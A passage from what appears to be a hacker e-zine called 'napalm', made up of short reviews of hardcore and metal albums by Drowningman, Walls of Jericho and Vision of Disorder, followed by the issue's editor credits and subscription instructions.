prog metal in this CD, and one song even starts out with a In Flames-ish riff. Otherwise, it's good, solid, upbeat scream-sing-scream kill-all-your-friends-and-cry-about-it-later music. Choice lyric: "I could never swallow your false ideals." Drowningman "Busy Signal at the Suicide Hotline" http://www.drowningmanhatesyou.com/ Besides having a knack for coming up with song and album titles that are hilarious to those of us with a sick sense of humor, these guys are really good. They're probably the heaviest of the four albums I'm reviewing this issue. A minor gripe I have about this CD is that the screams are just so distorted and loud that it almost fails to be distinct. That's not necessarily a bad thing, though. This album feels like it comes and goes way too quickly, though, only having 8 songs. With songs like these, the intensity really makes you want more. Choice lyric: "I'll tear your fucking heart out, you bastard." Walls of Jericho "A Day and a Thousand Years" (couldn't find a website) Ok, I bought this CD because of their schtick, but am I ever glad I did. The schtick for this band is that their lead vocalist is female. You know what? It hardly matters. The vocals are as good as any male hardcore vocalist's and Candace is able to hit some stuff many guys couldn't. Walls of Jericho have a slightly more punky approach to this genre, which may seem redundant. I guess what I'm saying is they're closer to the 'old hardcore' than the other albums---there's a lot of straight-up fast 2 beat drum parts with fast power-chording guitars. This CD also has the punk-rock trademark of being really short, like the Drowningman disc above...only 7 songs this time. (That's ok, it was cheap) Choice lyric: "Does your life stand for anything? Ask yourself this." Vision of Disorder "From Bliss to Devastation" http://www.vod.com/ I've been waiting for this album for a long time. It's considerably different from all of the bands above and their previous albums. I say this because there's a ton more singing going on than in a 'normal' hardcore CD. Don't get me wrong, there's lots of screaming here too. I'm not sure this'll be my favorite VOD album---it'd be damn hard to top their self-titled debut CD. I think they took this more melodic approach to songwriting in order to broaden their fan base and possibly land a radio song or two. (Or if they're really unlucky, an MTV video.) Run, don't walk to their website and listen to this... the CD is great. Choice lyric: "What's the sense, there's only sorrow." ____________________ ----------------- - [=] 0x06: Credits Editor: Kynik Co-Editors: ajax rsquared Article Contributions: echo8 _azure To subscribe to this 'zine: email napalm@firest0rm.org with a subject of SUBSCRIBE To unsubscribe: email napalm@firest0rm.org with a subject of UNSUBSCRIBE Or find us online at: http://napalm.firest0rm.org/ Submissions, questions, comments, and constructive chaos may also be directed to kynik@firest0rm.org or any of the contributors .n11! - eof